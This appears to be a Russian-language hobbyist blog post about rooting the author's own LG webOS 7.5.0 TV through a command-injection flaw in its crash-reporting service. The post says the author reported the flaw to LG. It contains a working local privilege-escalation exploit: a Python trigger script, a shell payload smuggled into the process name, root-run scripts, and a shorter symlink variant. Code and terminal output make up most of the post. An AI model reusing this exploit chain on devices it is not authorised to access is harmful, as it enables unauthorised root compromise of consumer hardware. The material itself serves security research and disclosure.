Jailbreak webOS for fun (just for fun)
Как известно, красота требует жертв, и мой телевизор знает об этом не понаслышке. Сегодня будем рутать LG webOS 7.5.0 (firmware 04.50.63
от ноября 2024).
Disclaimer: я не считаю рутание собственного, не подписочного устройства порицаемым и в целом проблемой безопастности.
Так уж вышло, что большая часть производителей потребительских устройств не хочет продавать тебе только железо (на нем сложно зарабатывать), а хочет продавать железо+софт и активно ставит палки в колеса тем, кто просто хочет немного улучшить его по собственному разумению. Благо LG делает не только отличные телевизоры, но и имеет богатую историю рутания webOS :)
Обновление от 06.01.2025
Чуть подумав решил немного покапитанить:
- моё дело поделить информацией, как вы будете ей распоряжаться - ваше дело. Хотел помочь таким же желающим получить ambilight на своём телевизоре (единственный смысл рутания LG TV imho)
- стоило, конечно, дождаться фиксов перед публикацией - но там у меня глупая история %)
- если вы хотите порутать свой телевизор LG - воспользуйтесь faultmanager-autoroot, а не этим постом
Into
А собсно зачем? Как-то я загорелся идеей замутить ambient light для своего телевизора. Благо у меня LG, для которого написан PicCap - это такой грабер HDMI картинки для hyperion.ng прям в вашем телевизоре. Да-да, DIY ambient light без HDMI сплиттеров, карт захвата и прочего барахла. Разве не красота? Красота подумал я и был огорчен:
What do you need?
- Root access to your TV
Ожидаемо, иду смотреть версию своего камина для гостинной - 04.50.63
:
Последняя на начало 2025. Люблю обновляться ^^. Это, правда, обычно не очень дружит с рутанием - так и случилось. Захожу на cani.rootmy.tv, ввожу свою модель и вижу, что все известное уже должно быть попатчено:
Ну что ж, деваться некуда - придется искать что-то неизвестное :)
Включаю Developer mode и Key Server:
Стягиваю ключ для подключения к тюремному SSH и для удобства добавляю его в конфиг:
% openssl rsa -in <(curl -s http://10.0.97.1:9991/webos_rsa) > ~/.ssh/webos_rsa && chmod 600 ~/.ssh/webos_rsa
Enter pass phrase for /proc/self/fd/11:
writing RSA key
mode of '/home/buglloc/.ssh/webos_rsa' retained as 0600 (rw-------)
% grep -A8 'Host tv' ~/.ssh/config
Host tv
hostname 10.0.97.1
Port 9922
User prisoner
HostKeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa
IdentityFile ~/.ssh/webos_rsa
IdentitiesOnly yes
% ssh tv
~ $ hostname
LGtv
~ $ id
uid=5645(prisoner) gid=5000 groups=29(audio),44(video),505(compositor),509(se),777(crashd)
Скачиваю с офф. сайта нужную прошивку (раздают для ручного обновления с флешки) и распаковываю с помощью epk2extract. Самое время изучать потрошки ;)
К потрошкам
Зайдя по SSH, первым делом смотрю в конфиг jail (вот полный) и в частности на то, что монтируется в rw:
% cat jail_app.conf| grep -oP 'mount rw.*'
mount rw /tmp
mount rw /proc
mount rw /var/run/pulse
mount rw /var/run/luna-service2
mount rw /dev/snd
mount rw /dev/shm
mount rw /dev/pts
mount rw /tmp/dbgfrwk
mount rw /var/run
mount rw /dev/lg
mount rw /mnt/lg/ciplus/authcxt
mount rw /media/developer
Не густо, но это знание нам еще пригодится. Дальше был какой-то небольшой рисеч на тему не торчит ли чего интересного в /tmp
, /var/run
, что с nosuid
и т.д. - все тщетно (или я плохо искал). Но отчаиваться не в наших правилах - ведь если запустить strace для любого бинаря, видно что прелоадится какая-то бибка:
~ $ strace -f -e openat ls 2>&1 | head
openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/libSegFault.so", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
Это уже интересно, зачем подсовывать какую-то либу для сбора сегфолтов? Может там есть какое-то взаимодействие с “внешним” миром? Закидываю сошку (вот она) в Ghidra - точно, так и есть! Если упростить, то она делает следующее:
- зачитывает переменную окружения
SEGFAULT_SIGNALS
, где может быть перечислен нужный набор сигналов для отлова - вешает свой кастомный
sigaction_handler
- при его вызове:
- вызывает сисколл номер
224
(gettid
под arm - см. arm.syscall.sh) - подключается к UDS
/tmp/remotelogger
- пуляет в него 132 байта, из которых первые 4 - тот самый tid
- дальше делает какие-то скучные дела
- вызывает сисколл номер
Запускаю sleep под strace, отправляю ему SIGILL
и хоба:
--- SIGILL {si_signo=SIGILL, si_code=SI_USER, si_pid=4450, si_uid=5645} ---
gettid() = 4642
socket(PF_FILE, SOCK_STREAM, 0) = 3
connect(3, {sa_family=AF_FILE, sun_path="/tmp/remotelogger"}, 20) = 0
write(3, "\"\22\0\0\4\0\0\0\0\0\0\0\0\0\0\0b\21\0\0\r\26\0\0\0\0\0\0\0\0\0\0"..., 132) = 132
read(3, 0xf785ab70, 4) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCONT {si_signo=SIGCONT, si_code=SI_USER, si_pid=252, si_uid=0} ---
read(3, "", 4) = 0
close(3) = 0
Ага, так и есть - взяли tid, сходили в UDS, отправили его в little-endian, и наш процесс пришел трейсить рут. Все интереснее и интереснее! Закидываю remotelogger
из прошивки в Гидру, читаю по верхам:
- приняли коннект
- получили pid подключившегося процесса с помощью SO_PEERCRED
- попарсили tid из запроса
- проверили, что переданный tid относится к pid клиента, сходив в
/proc/<pid>/task/<tid>
- начали трейсить и почитали
comm
процесса - записали крашдамп в
/var/log/crashd/<comm>.<tid>
Вот и path traversal, подумал я! Пишу небольшой скриптец для игр:
import socket
import time
import struct
import sys
import os
import threading
import ctypes
from ctypes.util import find_library
libc = ctypes.CDLL(find_library('c'))
def set_proc_name(name):
libc.prctl(15, ctypes.c_char_p(name), 0, 0, 0)
proc_name = "blah-blah"
if len(sys.argv) > 1:
proc_name = sys.argv[1]
set_proc_name(proc_name.encode("UTF-8"))
x = threading.Thread(target=time.sleep, args=(8600,))
x.start()
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
s.connect("/tmp/remotelogger")
print("send")
s.sendall(struct.pack('<L', x.native_id) + b'A'*0x80)
print("recv")
data = s.recv(4)
print("kill")
os.kill(x.native_id, 0x4)
Закидываю на телевизор. Запускаю:
~ $ python3 /tmp/remote_trigger.py "../../../tmp/la"
send
recv
kill
Illegal instruction
~ $ ls -la /tmp/la*
ls: /tmp/la*: No such file or directory
~ $
И ничего :( Может я чего упустил или не дочитал… Как бы то ни было, это дало другую подсказку - какие-то запчасти faultmanager
перекладывают наш крашдамп по пути, в котором содержится путь к точке падения и имя процесса:
~ $ python3 /tmp/remote_trigger.py "blah"
send
recv
kill
Illegal instruction
~ $ ls -la /tmp/faultmanager/crash
total 8
drwxr-xr-x 2 root root 60 Jan 4 13:57 .
drwxr-xr-x 7 root root 140 Jan 4 13:57 ..
-rw-r--r-- 1 root root 6453 Jan 4 13:57 RDXD_blah__Linux Crash: blah crashes at location Unknown____blah.1345.pUuoij.gz
А учитывая, что с crashd уже были проблемы - это может быть интересно, проверяем:
~ $ python3 /tmp/remote_trigger.py '";blah'
send
recv
kill
Illegal instruction
~ $ ls -la /tmp/faultmanager/crash/
total 12
drwxr-xr-x 2 root root 80 Jan 4 14:00 .
drwxr-xr-x 7 root root 140 Jan 4 14:00 ..
-rw-r--r-- 1 root root 469 Jan 4 14:00 RDXD_?;blah__Linux Crash: ?;blah crashes at location ?var?palm?jail?com.palm.devmode.openssh?lib?libc-2.31.so (__libc_do_syscall+0x3) [0xf7c87e24]____?;blah.1671.TXMDEh.gz
-rw-r--r-- 1 root root 6453 Jan 4 13:57 RDXD_blah__Linux Crash: blah crashes at location Unknown____blah.1345.pUuoij.gz
Надеюсь, коллеги умеют санитайзить аргументы для баша. Правда ведь? Проверяем:
~ $ python3 /tmp/remote_trigger.py '$(sleep 8989)'
send
recv
kill
[1]+ Stopped (signal) python3 /tmp/remote_trigger.py "\$(sleep 8989)"
~ $ ps aux | grep 8989
root 1846 0.0 0.0 4324 708 ? S 14:02 0:00 sh -c cp "/tmp/var/log/reports/librdx/RDXD_$(sleep 8989)__Linux Crash: $(sleep 8989) crashes at location .var.palm.jail.com.palm.devmode.openssh.lib.libc-2.31.so (__libc_do_syscall+0x3) [0xf784fe24]____$(sleep 8989).1784.FgeWmk.gz" /tmp/faultmanager/crash
root 1848 0.0 0.0 4324 448 ? S 14:02 0:00 sleep 8989
prisoner 1860 0.0 0.0 4324 712 pts/2 S+ 14:02 0:00 grep 8989
[1]+ Illegal instruction python3 /tmp/remote_trigger.py "\$(sleep 8989)"
Не похоже! Осталось дело за малым - уместиться в 15 байт нагрузки и не использовать /
в команде. Об ограничении в 15 байт можно не думать, если разместить пейлоад в пути к месту падения - но я человек ленивый. Потому выбрал такой план:
- закидываем скрипт, который выполнит рут, в
/tmp
(вот знание о маунте и пригодилось) - находим подходящую переменную окружения (
/etc/systemd/system.conf.d/30-webos-global.conf
из прошивки):DefaultEnvironment=XDG_DIR=/tmp/xdg DefaultEnvironment=XDG_RUNTIME_DIR=/tmp/xdg
Собираем все воедино:
# готовим скрипт для исполнения рутом
~ $ cat << 'EOF' > /tmp/xdg_e
#!/bin/sh
date > /tmp/pwned
id >> /tmp/pwned
echo nope
EOF
~ $ chmod +x /tmp/xdg_e
# запускаем
~ $ python3 /tmp/remote_trigger.py '$(${XDG_DIR}_e)'
send
recv
kill
Illegal instruction
~ $ cat /tmp/pwned
Sat Jan 4 14:16:02 +07 2025
uid=0(root) gid=0(root)
Это ли не успех! Если не нравится питонячка - можно сократить (всю полезную работу сделает libSegFault.so
):
~ $ id
uid=5645(prisoner) gid=5000 groups=29(audio),44(video),505(compositor),509(se),777(crashd)
~ $ cat << 'EOF' > /tmp/xdgxx
#!/bin/sh
date > /tmp/pwned
id >> /tmp/pwned
EOF
~ $ chmod +x /tmp/xdgxx
~ $ ln -sf /usr/bin/python3 '/tmp/$(${XDG_DIR}xx)'
~ $ '/tmp/$(${XDG_DIR}xx)' -c 'import os; os.kill(os.getpid(), 0x4)'
Illegal instruction
~ $ cat /tmp/pwned
Sat Jan 4 14:18:06 +07 2025
uid=0(root) gid=0(root)
Дальше дело за малым - поправить скрипт для повышения привелегий homebrew и запустить его от рута:
~ $ cat << 'EOF' > /tmp/xdg_e
#!/bin/sh
exec 2>&1 1>/tmp/homebrew.log
/media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/elevate-service
cp /media/developer/apps/usr/palm/services/org.webosbrew.hbchannel.service/startup.sh /var/lib/webosbrew/startup.sh
exit 0
EOF
~ $ python3 /tmp/remote_trigger.py '$(${XDG_DIR}_e)'
send
recv
kill
Illegal instruction
~ $
Перезагружаемся и та-дам - homebrew с рутом. Осталось включить sshd и закинуть ключик руту:
Пробуем:
% ssh 10.0.97.1 -l root
NEVER EVER OVERWRITE SYSTEM PARTITIONS LIKE KERNEL, ROOTFS, TVSERVICE.
Your TV will be bricked, guaranteed! See https://rootmy.tv/warning for more info.
root@LGtv:~#
П-О-Б-Е-Д-А!
Closure
Телевизоры я еще не рутал, было забавно. Тут, конечно, очень помогло, что webOS - линукс во плоти, а это старый друг :) На всякий случай напишу банальное, но важное - делайте все ради фана, на свой страх&&риск, только со своей железкой и в присутствии взрослых. Я же письмо на product.security@lge.com
отправил, считаю что моя совесть чиста.
Кстати, PicCap поставил, но толком не пробовал - самое время заказывать нужные запчасти для подсветки, и тогда уж проверять, так что еще встретимся.
А пока у меня все, всем кота (づ˶•༝•˶)づ♡